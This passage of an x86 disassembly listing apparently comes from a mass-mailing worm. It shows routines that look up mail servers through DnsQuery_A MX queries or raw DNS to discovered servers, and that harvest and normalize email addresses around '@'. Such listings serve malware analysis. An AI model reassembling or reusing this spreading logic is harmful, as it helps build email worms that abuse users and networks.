  3924. ; ───────────────────────────────────────────────────────────────────────────
  3925.  
  3926. loc_4A4CBD:                ; CODE XREF: sub_4A4C45+6Fj
  3927.         push    ebp
  3928.  
  3929. loc_4A4CBE:                ; CODE XREF: sub_4A4C45+76j
  3930.         call    ds:WS2_32_9
  3931.         push    eax
  3932.         push    [esp+14Ch+var_8]
  3933.         push    [esp+150h+var_C]
  3934.         push    edi
  3935.         call    sub_4A48E2
  3936.         add    esp, 10h
  3937.         test    eax, eax
  3938.         jnz    loc_4A4E72
  3939.         push    0Ch
  3940.         lea    eax, [esp+14Ch+var_11C]
  3941.         pop    esi
  3942.         mov    [esp+148h+var_110], edi
  3943.         push    eax
  3944.         push    ebp
  3945.         lea    eax, [esp+150h+Mem] ; lpMem
  3946.         push    ebp
  3947.         push    eax
  3948.         push    ebp
  3949.         mov    [esp+15Ch+Mem],    1
  3950.         mov    [esp+15Ch+var_11C], esi
  3951.         mov    [esp+15Ch+var_118], ebp
  3952.         call    ds:WS2_32_18
  3953.         test    eax, eax
  3954.         jle    loc_4A4E72
  3955.         push    4
  3956.         push    ebp
  3957.         push    ebx
  3958.         call    memset
  3959.         add    esp, 0Ch
  3960.         push    ebp
  3961.         push    1000h
  3962.         push    ebx
  3963.         push    edi
  3964.         call    ds:WS2_32_16
  3965.         mov    ebp, eax
  3966.         test    ebp, ebp
  3967.         mov    [esp+16Ch+var_144], ebp
  3968.         jle    loc_4A4E72
  3969.         cmp    ebp, esi
  3970.         jbe    loc_4A4E72
  3971.         mov    ax, [ebx+2]    ; lpMem
  3972.         mov    edi, ds:WS2_32_15
  3973.         push    eax
  3974.         call    edi ; WS2_32_15
  3975.         mov    si, ax
  3976.         and    esi, 0Fh
  3977.         cmp    esi, 3
  3978.         jz    loc_4A4E83
  3979.         cmp    esi, 2
  3980.         jnz    short loc_4A4D76
  3981.         mov    ax, [ebx+2]    ; lpMem
  3982.         push    eax
  3983.         call    edi ; WS2_32_15
  3984.         test    al, al
  3985.         js    loc_4A4E83
  3986.  
  3987. loc_4A4D76:                ; CODE XREF: sub_4A4C45+120j
  3988.         test    esi, esi
  3989.         jnz    loc_4A4E72
  3990.         push    ebp
  3991.         push    ebx
  3992.         call    sub_4A4AFE
  3993.         pop    ecx
  3994.         mov    [esp+178h+var_154], eax
  3995.         test    eax, eax
  3996.         pop    ecx
  3997.         jz    loc_4A4E72
  3998.         and    [esp+174h+lpMem], esi
  3999.         and    [esp+174h+var_15C], esi
  4000.         mov    edi, eax
  4001.         mov    [esp+174h+var_164], edi
  4002.         jmp    short loc_4A4DA7
  4003. ; ───────────────────────────────────────────────────────────────────────────
  4004.  
  4005. loc_4A4DA3:                ; CODE XREF: sub_4A4C45+217j
  4006.         mov    edi, [esp+174h+var_164]
  4007.  
  4008. loc_4A4DA7:                ; CODE XREF: sub_4A4C45+15Cj
  4009.         cmp    word ptr [edi+10Ah], 1
  4010.         jnz    loc_4A4E54
  4011.         cmp    word ptr [edi+108h], 0Fh
  4012.         jnz    loc_4A4E54
  4013.         cmp    word ptr [edi+10Ch], 3
  4014.         jb    loc_4A4E54
  4015.         mov    ebp, 108h
  4016.         push    ebp        ; dwBytes
  4017.         push    0        ; dwFlags
  4018.         call    ds:GetProcessHeap
  4019.         push    eax        ; hHeap
  4020.         call    ds:HeapAlloc
  4021.         mov    esi, eax
  4022.         test    esi, esi
  4023.         jz    short loc_4A4E62
  4024.         push    ebp
  4025.         push    0
  4026.         push    esi
  4027.         call    memset
  4028.         add    edi, 110h
  4029.         add    esp, 0Ch
  4030.         mov    eax, [edi]    ; lpMem
  4031.         mov    ax, [eax+ebx]    ; lpMem
  4032.         push    eax
  4033.         call    ds:WS2_32_15
  4034.         movzx    eax, ax
  4035.         push    [esp+178h+var_150]
  4036.         mov    [esi+4], eax
  4037.         mov    eax, [edi]
  4038.         lea    ebp, [esi+8]
  4039.         inc    eax
  4040.         mov    edi, ebp
  4041.         inc    eax
  4042.         call    sub_4A4A4C
  4043.         cmp    byte ptr [ebp+0], 0
  4044.         pop    ecx
  4045.         jnz    short loc_4A4E3C
  4046.         push    esi        ; lpMem
  4047.         push    0        ; dwFlags
  4048.         call    ds:GetProcessHeap
  4049.         push    eax        ; hHeap
  4050.         call    ds:HeapFree
  4051.         jmp    short loc_4A4E50
  4052. ; ───────────────────────────────────────────────────────────────────────────
  4053.  
  4054. loc_4A4E3C:                ; CODE XREF: sub_4A4C45+1E3j
  4055.         mov    eax, [esp+178h+var_15C]    ; lpMem
  4056.         mov    [esp+178h+var_15C], esi
  4057.         test    eax, eax
  4058.         jnz    short loc_4A4E4E
  4059.         mov    [esp+178h+var_160], esi
  4060.         jmp    short loc_4A4E50
  4061. ; ───────────────────────────────────────────────────────────────────────────
  4062.  
  4063. loc_4A4E4E:                ; CODE XREF: sub_4A4C45+201j
  4064.         mov    [eax], esi
  4065.  
  4066. loc_4A4E50:                ; CODE XREF: sub_4A4C45+1F5j
  4067.                     ; sub_4A4C45+207j
  4068.         mov    edi, [esp+178h+var_168]
  4069.  
  4070. loc_4A4E54:                ; CODE XREF: sub_4A4C45+16Aj
  4071.                     ; sub_4A4C45+178j ...
  4072.         mov    edi, [edi]
  4073.         test    edi, edi
  4074.         mov    [esp+178h+var_168], edi
  4075.         jnz    loc_4A4DA3
  4076.  
  4077. loc_4A4E62:                ; CODE XREF: sub_4A4C45+1A5j
  4078.         mov    eax, [esp+178h+lpMem] ;    lpMem
  4079.         call    sub_4A4ADF
  4080.         cmp    [esp+178h+var_160], 0
  4081.         jnz    short loc_4A4E90
  4082.  
  4083. loc_4A4E72:                ; CODE XREF: sub_4A4C45+99j
  4084.                     ; sub_4A4C45+CBj ...
  4085.         inc    [esp+178h+var_164]
  4086.         cmp    [esp+178h+var_164], 2
  4087.         jl    loc_4A4CA6
  4088.         jmp    short loc_4A4E90
  4089. ; ───────────────────────────────────────────────────────────────────────────
  4090.  
  4091. loc_4A4E83:                ; CODE XREF: sub_4A4C45+117j
  4092.                     ; sub_4A4C45+12Bj
  4093.         mov    eax, [esp+170h+var_2C]
  4094.         mov    dword ptr [eax], 2
  4095.  
  4096. loc_4A4E90:                ; CODE XREF: sub_4A4C45+22Bj
  4097.                     ; sub_4A4C45+23Cj
  4098.         push    ebx        ; lpMem
  4099.         push    0        ; dwFlags
  4100.         call    ds:GetProcessHeap
  4101.         push    eax        ; hHeap
  4102.         call    ds:HeapFree
  4103.         push    [esp+170h+var_14C]
  4104.         call    ds:WS2_32_3
  4105.         mov    eax, [esp+174h+var_15C]
  4106.         jmp    short loc_4A4EBD
  4107. ; ───────────────────────────────────────────────────────────────────────────
  4108.  
  4109. loc_4A4EB0:                ; CODE XREF: sub_4A4C45+4Cj
  4110.                     ; sub_4A4C45+55j
  4111.         push    ebx        ; lpMem
  4112.         push    ebp        ; dwFlags
  4113.         call    esi
  4114.         push    eax        ; hHeap
  4115.         call    ds:HeapFree
  4116.         xor    eax, eax
  4117.  
  4118. loc_4A4EBD:                ; CODE XREF: sub_4A4C45+269j
  4119.         pop    edi
  4120.  
  4121. loc_4A4EBE:                ; CODE XREF: sub_4A4C45+32j
  4122.         pop    esi
  4123.         pop    ebp
  4124.         pop    ebx
  4125.         add    esp, 128h
  4126.         retn
  4127. sub_4A4C45    endp ; sp = -0Ch
  4128.  
  4129.  
  4130. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4131.  
  4132. ; Attributes: bp-based frame
  4133.  
  4134. sub_4A4EC8    proc near        ; CODE XREF: .text:004A50A3p
  4135.  
  4136. var_4        = dword    ptr -4
  4137. arg_0        = dword    ptr  8
  4138. arg_4        = dword    ptr  0Ch
  4139.  
  4140.         push    ebp
  4141.         mov    ebp, esp
  4142.         push    ecx
  4143.         push    esi
  4144.         xor    esi, esi
  4145.  
  4146. loc_4A4ECF:                ; CODE XREF: sub_4A4EC8+2Fj
  4147.         lea    eax, [ebp+var_4]
  4148.         push    eax
  4149.         push    [ebp+arg_4]
  4150.         push    [ebp+arg_0]
  4151.         call    sub_4A4C45
  4152.         add    esp, 0Ch
  4153.         test    eax, eax
  4154.         jnz    short loc_4A4EFB
  4155.         cmp    [ebp+var_4], 2
  4156.         jz    short loc_4A4EF9
  4157.         push    64h        ; dwMilliseconds
  4158.         call    ds:Sleep
  4159.         inc    esi
  4160.         cmp    esi, 2
  4161.         jl    short loc_4A4ECF
  4162.  
  4163. loc_4A4EF9:                ; CODE XREF: sub_4A4EC8+21j
  4164.         xor    eax, eax
  4165.  
  4166. loc_4A4EFB:                ; CODE XREF: sub_4A4EC8+1Bj
  4167.         pop    esi
  4168.         leave
  4169.         retn
  4170. sub_4A4EC8    endp
  4171.  
  4172.  
  4173. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4174.  
  4175. ; Attributes: bp-based frame
  4176.  
  4177. sub_4A4EFE    proc near        ; CODE XREF: sub_4A50D1+4p
  4178.  
  4179. LibFileName    = byte ptr -18h
  4180. var_C        = dword    ptr -0Ch
  4181. var_8        = dword    ptr -8
  4182. var_4        = dword    ptr -4
  4183. arg_0        = dword    ptr  8
  4184.  
  4185.         push    ebp
  4186.         mov    ebp, esp
  4187.         sub    esp, 18h
  4188.         push    esi
  4189.         push    edi
  4190.         mov    esi, offset aDnsapi_dll    ; "dnsapi.dll"
  4191.         lea    edi, [ebp+LibFileName]
  4192.         movsd
  4193.         movsd
  4194.         movsw
  4195.         lea    eax, [ebp+LibFileName]
  4196.         push    eax        ; lpModuleName
  4197.         movsb
  4198.         call    ds:GetModuleHandleA
  4199.         xor    esi, esi
  4200.         cmp    eax, esi
  4201.         jnz    short loc_4A4F31
  4202.         lea    eax, [ebp+LibFileName]
  4203.         push    eax        ; lpLibFileName
  4204.         call    ds:LoadLibraryA
  4205.         cmp    eax, esi
  4206.         jz    short loc_4A4F53
  4207.  
  4208. loc_4A4F31:                ; CODE XREF: sub_4A4EFE+23j
  4209.         push    offset aDnsquery_a ; lpProcName
  4210.         push    eax        ; hModule
  4211.         call    ds:GetProcAddress
  4212.         cmp    eax, esi
  4213.         jz    short loc_4A4F53
  4214.         lea    ecx, [ebp+var_C]
  4215.         push    esi
  4216.         push    ecx
  4217.         push    esi
  4218.         push    esi
  4219.         push    0Fh
  4220.         push    [ebp+arg_0]
  4221.         call    eax
  4222.         test    eax, eax
  4223.         jz    short loc_4A4F57
  4224.  
  4225. loc_4A4F53:                ; CODE XREF: sub_4A4EFE+31j
  4226.                     ; sub_4A4EFE+41j
  4227.         xor    eax, eax
  4228.         jmp    short loc_4A4FC8
  4229. ; ───────────────────────────────────────────────────────────────────────────
  4230.  
  4231. loc_4A4F57:                ; CODE XREF: sub_4A4EFE+53j
  4232.         mov    edi, [ebp+var_C]
  4233.         mov    [ebp+var_4], esi
  4234.         cmp    edi, esi
  4235.         mov    [ebp+var_8], esi
  4236.         jz    short loc_4A4FC5
  4237.         push    ebx
  4238.         mov    ebx, 108h
  4239.  
  4240. loc_4A4F6A:                ; CODE XREF: sub_4A4EFE+C4j
  4241.         cmp    word ptr [edi+8], 0Fh
  4242.         jnz    short loc_4A4FBC
  4243.         push    ebx        ; dwBytes
  4244.         push    esi        ; dwFlags
  4245.         call    ds:GetProcessHeap
  4246.         push    eax        ; hHeap
  4247.         call    ds:HeapAlloc
  4248.         mov    esi, eax
  4249.         test    esi, esi
  4250.         jz    short loc_4A4FC4
  4251.         push    ebx
  4252.         push    0
  4253.         push    esi
  4254.         call    memset
  4255.         movzx    eax, word ptr [edi+1Ch]
  4256.         add    esp, 0Ch
  4257.         mov    [esi+4], eax
  4258.         lea    eax, [esi+8]
  4259.         push    0FFh        ; iMaxLength
  4260.         push    dword ptr [edi+18h] ; lpString2
  4261.         push    eax        ; lpString1
  4262.         call    ds:lstrcpynA
  4263.         mov    eax, [ebp+var_4]
  4264.         mov    [ebp+var_4], esi
  4265.         test    eax, eax
  4266.         jnz    short loc_4A4FBA
  4267.         mov    [ebp+var_8], esi
  4268.         jmp    short loc_4A4FBC
  4269. ; ───────────────────────────────────────────────────────────────────────────
  4270.  
  4271. loc_4A4FBA:                ; CODE XREF: sub_4A4EFE+B5j
  4272.         mov    [eax], esi
  4273.  
  4274. loc_4A4FBC:                ; CODE XREF: sub_4A4EFE+71j
  4275.                     ; sub_4A4EFE+BAj
  4276.         mov    edi, [edi]
  4277.         xor    esi, esi
  4278.         cmp    edi, esi
  4279.         jnz    short loc_4A4F6A
  4280.  
  4281. loc_4A4FC4:                ; CODE XREF: sub_4A4EFE+86j
  4282.         pop    ebx
  4283.  
  4284. loc_4A4FC5:                ; CODE XREF: sub_4A4EFE+64j
  4285.         mov    eax, [ebp+var_8]
  4286.  
  4287. loc_4A4FC8:                ; CODE XREF: sub_4A4EFE+57j
  4288.         pop    edi
  4289.         pop    esi
  4290.         leave
  4291.         retn
  4292. sub_4A4EFE    endp
  4293.  
  4294. ; ───────────────────────────────────────────────────────────────────────────
  4295.  
  4296. loc_4A4FCC:                ; CODE XREF: sub_4A50D1+Ej
  4297.         push    ebp
  4298.         mov    ebp, esp
  4299.         sub    esp, 1Ch
  4300.         push    ebx
  4301.         push    esi
  4302.         mov    esi, offset aIphlpapi_dll ; "iphlpapi.dll"
  4303.         push    edi
  4304.         push    esi
  4305.         call    ds:GetModuleHandleA
  4306.         test    eax, eax
  4307.         jz    short loc_4A4FEA
  4308.         cmp    eax, 0FFFFFFFFh
  4309.         jnz    short loc_4A4FF1
  4310.  
  4311. loc_4A4FEA:                ; CODE XREF: .text:004A4FE3j
  4312.         push    esi
  4313.         call    ds:LoadLibraryA
  4314.  
  4315. loc_4A4FF1:                ; CODE XREF: .text:004A4FE8j
  4316.         test    eax, eax
  4317.         jz    loc_4A50CA
  4318.         cmp    eax, 0FFFFFFFFh
  4319.         jz    loc_4A50CA
  4320.         push    offset aGetnetworkpara ; "GetNetworkParams"
  4321.         push    eax
  4322.         call    ds:GetProcAddress
  4323.         mov    edi, eax
  4324.         test    edi, edi
  4325.         jz    loc_4A50CA
  4326.         mov    ebx, ds:GetProcessHeap
  4327.         mov    esi, 4000h
  4328.         push    esi
  4329.         push    0
  4330.         call    ebx ; GetProcessHeap
  4331.         push    eax
  4332.         call    ds:HeapAlloc
  4333.         lea    ecx, [ebp-0Ch]
  4334.         mov    [ebp-4], eax
  4335.         push    ecx
  4336.         push    eax
  4337.         mov    [ebp-0Ch], esi
  4338.         call    edi
  4339.         test    eax, eax
  4340.         jnz    loc_4A50CA
  4341.         mov    edi, [ebp-4]
  4342.         and    [ebp-8], eax
  4343.         add    edi, 10Ch
  4344.         jmp    short loc_4A50B3
  4345. ; ───────────────────────────────────────────────────────────────────────────
  4346.  
  4347. loc_4A5052:                ; CODE XREF: .text:004A50B5j
  4348.         lea    esi, [edi+4]
  4349.         test    esi, esi
  4350.         jz    short loc_4A50B1
  4351.         push    35h
  4352.         mov    word ptr [ebp-1Ch], 2
  4353.         call    ds:WS2_32_9
  4354.         push    esi
  4355.         mov    [ebp-1Ah], ax
  4356.         call    ds:WS2_32_11
  4357.         test    eax, eax
  4358.         mov    [ebp-18h], eax
  4359.         jz    short loc_4A507E
  4360.         cmp    eax, 0FFFFFFFFh
  4361.         jnz    short loc_4A5093
  4362.  
  4363. loc_4A507E:                ; CODE XREF: .text:004A5077j
  4364.         push    esi
  4365.         call    ds:WS2_32_52
  4366.         test    eax, eax
  4367.         jz    short loc_4A50B1
  4368.         mov    eax, [eax+0Ch]
  4369.         mov    eax, [eax]
  4370.         mov    eax, [eax]
  4371.         mov    [ebp-18h], eax
  4372.  
  4373. loc_4A5093:                ; CODE XREF: .text:004A507Cj
  4374.         test    eax, eax
  4375.         jz    short loc_4A50B1
  4376.         cmp    eax, 0FFFFFFFFh
  4377.         jz    short loc_4A50B1
  4378.         push    dword ptr [ebp+8]
  4379.         lea    eax, [ebp-1Ch]
  4380.         push    eax
  4381.         call    sub_4A4EC8
  4382.         pop    ecx
  4383.         mov    [ebp-8], eax
  4384.         test    eax, eax
  4385.         pop    ecx
  4386.         jnz    short loc_4A50B7
  4387.  
  4388. loc_4A50B1:                ; CODE XREF: .text:004A5057j
  4389.                     ; .text:004A5087j ...
  4390.         mov    edi, [edi]
  4391.  
  4392. loc_4A50B3:                ; CODE XREF: .text:004A5050j
  4393.         test    edi, edi
  4394.         jnz    short loc_4A5052
  4395.  
  4396. loc_4A50B7:                ; CODE XREF: .text:004A50AFj
  4397.         push    dword ptr [ebp-4]
  4398.         push    0
  4399.         call    ebx ; GetProcessHeap
  4400.         push    eax
  4401.         call    ds:HeapFree
  4402.         mov    eax, [ebp-8]
  4403.         jmp    short loc_4A50CC
  4404. ; ───────────────────────────────────────────────────────────────────────────
  4405.  
  4406. loc_4A50CA:                ; CODE XREF: .text:004A4FF3j
  4407.                     ; .text:004A4FFCj ...
  4408.         xor    eax, eax
  4409.  
  4410. loc_4A50CC:                ; CODE XREF: .text:004A50C8j
  4411.         pop    edi
  4412.         pop    esi
  4413.         pop    ebx
  4414.         leave
  4415.         retn
  4416.  
  4417. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4418.  
  4419.  
  4420. sub_4A50D1    proc near        ; CODE XREF: sub_4A5A31+17p
  4421.  
  4422. arg_0        = dword    ptr  4
  4423.  
  4424.         push    [esp+arg_0]
  4425.         call    sub_4A4EFE
  4426.         test    eax, eax
  4427.         pop    ecx
  4428.         jnz    short locret_4A50E4
  4429.         jmp    loc_4A4FCC
  4430. ; ───────────────────────────────────────────────────────────────────────────
  4431.  
  4432. locret_4A50E4:                ; CODE XREF: sub_4A50D1+Cj
  4433.         retn
  4434. sub_4A50D1    endp
  4435.  
  4436.  
  4437. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4438.  
  4439.  
  4440. ; int __cdecl sub_4A50E5(LPVOID    lpMem)
  4441. sub_4A50E5    proc near        ; CODE XREF: sub_4A595D+B1p
  4442.  
  4443. lpMem        = dword    ptr  4
  4444.  
  4445.         mov    eax, [esp+lpMem]
  4446.         test    eax, eax
  4447.         jz    short locret_4A5107
  4448.         push    esi
  4449.  
  4450. loc_4A50EE:                ; CODE XREF: sub_4A50E5+1Fj
  4451.         mov    esi, [eax]
  4452.         push    eax        ; lpMem
  4453.         push    0        ; dwFlags
  4454.         call    ds:GetProcessHeap
  4455.         push    eax        ; hHeap
  4456.         call    ds:HeapFree
  4457.         test    esi, esi
  4458.         mov    eax, esi
  4459.         jnz    short loc_4A50EE
  4460.         pop    esi
  4461.  
  4462. locret_4A5107:                ; CODE XREF: sub_4A50E5+6j
  4463.         retn
  4464. sub_4A50E5    endp
  4465.  
  4466.  
  4467. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4468.  
  4469.  
  4470. sub_4A5108    proc near        ; CODE XREF: sub_4A5718+8p
  4471.  
  4472. var_4        = dword    ptr -4
  4473. arg_0        = dword    ptr  4
  4474.  
  4475.         push    ecx
  4476.         push    ebp
  4477.         mov    ebp, [esp+8+arg_0]
  4478.         push    edi
  4479.         mov    edi, eax
  4480.         push    edi        ; lpString
  4481.         call    ds:lstrlenA
  4482.         cmp    eax, 3
  4483.         jge    short loc_4A5125
  4484.         xor    eax, eax
  4485.         inc    eax
  4486.         jmp    loc_4A5311
  4487. ; ───────────────────────────────────────────────────────────────────────────
  4488.  
  4489. loc_4A5125:                ; CODE XREF: sub_4A5108+13j
  4490.         push    ebx
  4491.         push    esi
  4492.         xor    esi, esi
  4493.         cmp    byte ptr [edi],    0
  4494.         jz    short loc_4A517D
  4495.  
  4496. loc_4A512E:                ; CODE XREF: sub_4A5108+5Fj
  4497.         movsx    eax, byte ptr [esi+edi]
  4498.         push    eax
  4499.         call    ds:isspace
  4500.         test    eax, eax
  4501.         pop    ecx
  4502.         jnz    short loc_4A5162
  4503.         movsx    eax, byte ptr [esi+edi]
  4504.         push    eax
  4505.         call    ds:isalnum
  4506.         test    eax, eax
  4507.         pop    ecx
  4508.         jnz    short loc_4A517D
  4509.         mov    al, [esi+edi]
  4510.         push    eax
  4511.         push    offset a__@    ; "-._!@"
  4512.         call    sub_4A4285
  4513.         pop    ecx
  4514.         test    eax, eax
  4515.         pop    ecx
  4516.         jnz    short loc_4A517D
  4517.  
  4518. loc_4A5162:                ; CODE XREF: sub_4A5108+34j
  4519.         inc    esi
  4520.         cmp    byte ptr [esi+edi], 0
  4521.         jnz    short loc_4A512E
  4522.         jmp    short loc_4A517D
  4523. ; ───────────────────────────────────────────────────────────────────────────
  4524.  
  4525. loc_4A516B:                ; CODE XREF: sub_4A5108+7Aj
  4526.         push    eax
  4527.         push    offset a__    ; "-._!"
  4528.         call    sub_4A4285
  4529.         pop    ecx
  4530.         test    eax, eax
  4531.         pop    ecx
  4532.         jz    short loc_4A5184
  4533.         inc    esi
  4534.  
  4535. loc_4A517D:                ; CODE XREF: sub_4A5108+24j
  4536.                     ; sub_4A5108+44j ...
  4537.         mov    al, [esi+edi]
  4538.         test    al, al
  4539.         jnz    short loc_4A516B
  4540.  
  4541. loc_4A5184:                ; CODE XREF: sub_4A5108+72j
  4542.         xor    ebx, ebx
  4543.         mov    [esp+14h+var_4], ebx
  4544.         jmp    short loc_4A51C8
  4545. ; ───────────────────────────────────────────────────────────────────────────
  4546.  
  4547. loc_4A518C:                ; CODE XREF: sub_4A5108+C5j
  4548.         cmp    al, 40h
  4549.         jz    short loc_4A51CF
  4550.         movsx    eax, al
  4551.         push    eax
  4552.         call    ds:isalnum
  4553.         test    eax, eax
  4554.         pop    ecx
  4555.         jnz    short loc_4A51B3
  4556.         mov    al, [esi+edi]
  4557.         push    eax
  4558.         push    offset a__@    ; "-._!@"
  4559.         call    sub_4A4285
  4560.         pop    ecx
  4561.         test    eax, eax
  4562.         pop    ecx
  4563.         jz    short loc_4A51C7
  4564.  
  4565. loc_4A51B3:                ; CODE XREF: sub_4A5108+95j
  4566.         movsx    eax, byte ptr [esi+edi]
  4567.         push    eax
  4568.         call    ds:tolower
  4569.         mov    [ebx+ebp], al
  4570.         inc    ebx
  4571.         pop    ecx
  4572.         mov    [esp+14h+var_4], ebx
  4573.  
  4574. loc_4A51C7:                ; CODE XREF: sub_4A5108+A9j
  4575.         inc    esi
  4576.  
  4577. loc_4A51C8:                ; CODE XREF: sub_4A5108+82j
  4578.         mov    al, [esi+edi]
  4579.         test    al, al
  4580.         jnz    short loc_4A518C
  4581.  
  4582. loc_4A51CF:                ; CODE XREF: sub_4A5108+86j
  4583.         cmp    byte ptr [esi+edi], 40h
  4584.         jnz    loc_4A530C
  4585.  
  4586. loc_4A51D9:                ; CODE XREF: sub_4A5108+D6j
  4587.         inc    esi
  4588.         cmp    byte ptr [esi+edi], 40h
  4589.         jz    short loc_4A51D9
  4590.         and    byte ptr [ebx+ebp], 0
  4591.         push    ebp        ; lpString
  4592.         call    ds:lstrlenA
  4593.         mov    ebx, eax
  4594.         jmp    short loc_4A523D
  4595. ; ───────────────────────────────────────────────────────────────────────────
  4596.  
  4597. loc_4A51EF:                ; CODE XREF: sub_4A5108+136j
  4598.         movsx    eax, byte ptr [ebx+ebp]
  4599.         push    eax
  4600.         call    ds:isspace
  4601.         test    eax, eax
  4602.         pop    ecx
  4603.         jnz    short loc_4A523D
  4604.         mov    al, [ebx+ebp]
  4605.         push    eax
  4606.         push    offset a__    ; "-._!"
  4607.         call    sub_4A4285
  4608.         pop    ecx
  4609.         test    eax, eax
  4610.         pop    ecx
  4611.         jnz    short loc_4A523D
  4612.         movsx    eax, byte ptr [ebx+ebp]
  4613.         push    eax
  4614.         call    ds:isalnum
  4615.         test    eax, eax
  4616.         pop    ecx
  4617.         jnz    short loc_4A5237
  4618.         mov    al, [ebx+ebp]
  4619.         push    eax
  4620.         push    offset a__@    ; "-._!@"
  4621.         call    sub_4A4285
  4622.         pop    ecx
  4623.         test    eax, eax
  4624.         pop    ecx
  4625.         jz    short loc_4A523D
  4626.  
  4627. loc_4A5237:                ; CODE XREF: sub_4A5108+119j
  4628.         cmp    byte ptr [ebx+ebp], 40h
  4629.         jnz    short loc_4A5240
  4630.  
  4631. loc_4A523D:                ; CODE XREF: sub_4A5108+E5j
  4632.                     ; sub_4A5108+F5j ...
  4633.         dec    ebx
  4634.         jns    short loc_4A51EF
  4635.  
  4636. loc_4A5240:                ; CODE XREF: sub_4A5108+133j
  4637.         and    byte ptr [ebx+ebp+1], 0
  4638.         mov    ebx, [esp+14h+var_4]
  4639.         mov    byte ptr [ebx+ebp], 40h
  4640.         inc    ebx
  4641.         add    esi, edi
  4642.         jmp    short loc_4A5290
  4643. ; ───────────────────────────────────────────────────────────────────────────
  4644.  
  4645. loc_4A5252:                ; CODE XREF: sub_4A5108+18Bj
  4646.         movsx    eax, byte ptr [esi]
  4647.         push    eax
  4648.         call    ds:isalnum
  4649.         test    eax, eax
  4650.         pop    ecx
  4651.         jnz    short loc_4A5274
  4652.         mov    al, [esi]
  4653.         push    eax
  4654.         push    offset a__@    ; "-._!@"
  4655.         call    sub_4A4285
  4656.         pop    ecx
  4657.         test    eax, eax
  4658.         pop    ecx
  4659.         jz    short loc_4A528F
  4660.  
  4661. loc_4A5274:                ; CODE XREF: sub_4A5108+157j
  4662.         cmp    byte ptr [ebx+ebp-1], 2Eh
  4663.         jnz    short loc_4A5280
  4664.         cmp    byte ptr [esi],    2Eh
  4665.         jz    short loc_4A528F
  4666.  
  4667. loc_4A5280:                ; CODE XREF: sub_4A5108+171j
  4668.         movsx    eax, byte ptr [esi]
  4669.         push    eax
  4670.         call    ds:tolower
  4671.         mov    [ebx+ebp], al
  4672.         pop    ecx
  4673.         inc    ebx
  4674.  
  4675. loc_4A528F:                ; CODE XREF: sub_4A5108+16Aj
  4676.                     ; sub_4A5108+176j
  4677.         inc    esi
  4678.  
  4679. loc_4A5290:                ; CODE XREF: sub_4A5108+148j
  4680.         cmp    byte ptr [esi],    0
  4681.         jnz    short loc_4A5252
  4682.         and    byte ptr [ebx+ebp], 0
  4683.         mov    ebx, ds:lstrlenA
  4684.         push    ebp        ; lpString
  4685.         call    ebx ; lstrlenA
  4686.         mov    esi, eax
  4687.         jmp    short loc_4A52F2
  4688. ; ───────────────────────────────────────────────────────────────────────────
  4689.  
  4690. loc_4A52A6:                ; CODE XREF: sub_4A5108+1EBj
  4691.         lea    edi, [esi+ebp]
  4692.         movsx    eax, byte ptr [edi]
  4693.         push    eax
  4694.         call    ds:isspace
  4695.         test    eax, eax
  4696.         pop    ecx
  4697.         jnz    short loc_4A52F2
  4698.         mov    al, [edi]
  4699.         push    eax
  4700.         push    offset a__    ; "-._!"
  4701.         call    sub_4A4285
  4702.         pop    ecx
  4703.         test    eax, eax
  4704.         pop    ecx
  4705.         jnz    short loc_4A52F2
  4706.         movsx    eax, byte ptr [edi]
  4707.         push    eax
  4708.         call    ds:isalnum
  4709.         test    eax, eax
  4710.         pop    ecx
  4711.         jnz    short loc_4A52ED
  4712.         mov    al, [edi]
  4713.         push    eax
  4714.         push    offset a__@    ; "-._!@"
  4715.         call    sub_4A4285
  4716.         pop    ecx
  4717.         test    eax, eax
  4718.         pop    ecx
  4719.         jz    short loc_4A52F2
  4720.  
  4721. loc_4A52ED:                ; CODE XREF: sub_4A5108+1D0j
  4722.         cmp    byte ptr [edi],    40h
  4723.         jnz    short loc_4A52F5
  4724.  
  4725. loc_4A52F2:                ; CODE XREF: sub_4A5108+19Cj
  4726.                     ; sub_4A5108+1AEj ...
  4727.         dec    esi
  4728.         jns    short loc_4A52A6
  4729.  
  4730. loc_4A52F5:                ; CODE XREF: sub_4A5108+1E8j
  4731.         and    byte ptr [esi+ebp+1], 0
  4732.         push    ebp        ; lpString
  4733.         call    ebx ; lstrlenA
  4734.         cmp    eax, 3
  4735.         jl    short loc_4A530C
  4736.         cmp    byte ptr [ebp+0], 40h
  4737.         jz    short loc_4A530C
  4738.         xor    eax, eax
  4739.         jmp    short loc_4A530F
  4740. ; ───────────────────────────────────────────────────────────────────────────
  4741.  
  4742. loc_4A530C:                ; CODE XREF: sub_4A5108+CBj
  4743.                     ; sub_4A5108+1F8j ...
  4744.         xor    eax, eax
  4745.         inc    eax
  4746.  
  4747. loc_4A530F:                ; CODE XREF: sub_4A5108+202j
  4748.         pop    esi
  4749.         pop    ebx
  4750.  
  4751. loc_4A5311:                ; CODE XREF: sub_4A5108+18j
  4752.         pop    edi
  4753.         pop    ebp
  4754.         pop    ecx
  4755.         retn
  4756. sub_4A5108    endp
  4757.  
  4758.  
  4759. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4760.  
  4761.  
  4762. ; int __cdecl sub_4A5315(LPSTR lpString1)
  4763. sub_4A5315    proc near        ; CODE XREF: sub_4A539F+9Ep
  4764.  
  4765. lpString1    = dword    ptr  0Ch
  4766.  
  4767.         push    ebx
  4768.         push    esi
  4769.         mov    esi, ecx
  4770.         push    edi
  4771.         xor    edi, edi
  4772.         mov    ebx, eax
  4773.         cmp    byte ptr [esi],    40h
  4774.         jz    short loc_4A534A
  4775.  
  4776. loc_4A5323:                ; CODE XREF: sub_4A5315+33j
  4777.         mov    al, [edi+esi]
  4778.         test    al, al
  4779.         jz    short loc_4A534A
  4780.         test    ebx, ebx
  4781.         jz    short loc_4A5343
  4782.         movsx    eax, al
  4783.         push    eax
  4784.         call    ds:isspace
  4785.         test    eax, eax
  4786.         pop    ecx
  4787.         jnz    short loc_4A5343
  4788.         mov    al, [edi+esi]
  4789.         mov    [ebx], al
  4790.         inc    ebx
  4791.  
  4792. loc_4A5343:                ; CODE XREF: sub_4A5315+17j
  4793.                     ; sub_4A5315+26j
  4794.         inc    edi
  4795.         cmp    byte ptr [edi+esi], 40h
  4796.         jnz    short loc_4A5323
  4797.  
